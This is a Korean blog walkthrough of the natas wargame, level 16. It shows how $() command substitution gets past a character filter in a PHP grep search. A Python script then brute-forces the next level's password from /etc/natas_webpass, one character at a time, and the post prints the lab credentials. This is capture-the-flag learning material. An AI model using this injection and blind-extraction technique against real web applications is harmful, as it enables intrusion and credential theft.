[natas - WEB hacking] level15 -> leve16
[ 풀이과정 ]
페이지에 접속해보니 해당 관련된 문자를 검색하는 폼과 버튼이 있었고 해당 결과를 출력해주는 output이 있었다.
위쪽에는 '보안상의 이유로 특정문자를 더 많이 필터링 한다'는 문구가 있었다.
페이지 소스를 보니 preg_match() 함수를 이용해서 [;|&`\'"] 문자들을 필터링 하고 있었다.
해당 문자들이 필터링 되고 있기 때문에 passthru("grep -i \"$key\" dictionary.txt");에서
한줄에 여러 명령어를 실행 시키는 방법은 막혔다..
리눅스에서 ` 대신 사용할 수 있는게 $()이다.
$() 안에 grep을 실행 시켜서 해당 실행 내용이 참이라면 뒤에 dictionary.txt는 실행이 되지 않을 것이다.
$(grep ^8 /etc/natas_webpass/natas17)를 입력해서 첫글자가 8로 시작한다는걸 알아냈다..
$() 내용이 거짓이면 뒤쪽에 dictionary.txt가 실행된다.
dictionary.txt가 실행되면 African과 같은 검색된 단어들이 출력된다.
python 자동화 프로그램을 이용해서 맨처음에 Afrincan 문자가 없을경우 참의 결과로 판단하고
natas17에 pass를 찾는 자동화 프로그램을 만들었다.
natas17: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
natas16.py
import socket
pw=""
for i in range(1, 33):
for ch in range(48, 123):
if 58 <= ch <= 64: continue
if 91 <= ch <= 96: continue
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.connect( ("176.9.9.172", 80) )
request_header = "GET /"
request_header += "?needle=%24%28grep%20%5E" + pw + chr(ch)
request_header += "%20/etc/natas_webpass/natas17%29&submit=Search "
request_header += "HTTP/1.1\r\n"
request_header += "Authorization:Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==\r\n"
request_header += "Host:natas16.natas.labs.overthewire.org\r\n"
sock.send( request_header.encode() )
response = sock.recv( 65535 ).decode()
print(response)
if not("African" in response):
pw += chr(ch)
#print( pw )
sock.close()
break;
sock.close()
print(pw)
'워게임 > natas' 카테고리의 다른 글
[natas - WEB hacking] level17 -> leve18 (0) | 2017.10.08 |
---|---|
[natas - WEB hacking] level16 -> leve17 (0) | 2017.10.08 |
[natas - WEB hacking] level14 -> leve15 (0) | 2017.10.08 |
[natas - WEB hacking] level13 -> leve14 (0) | 2017.10.08 |
[natas - WEB hacking] level12 -> leve13 (0) | 2017.10.08 |
댓글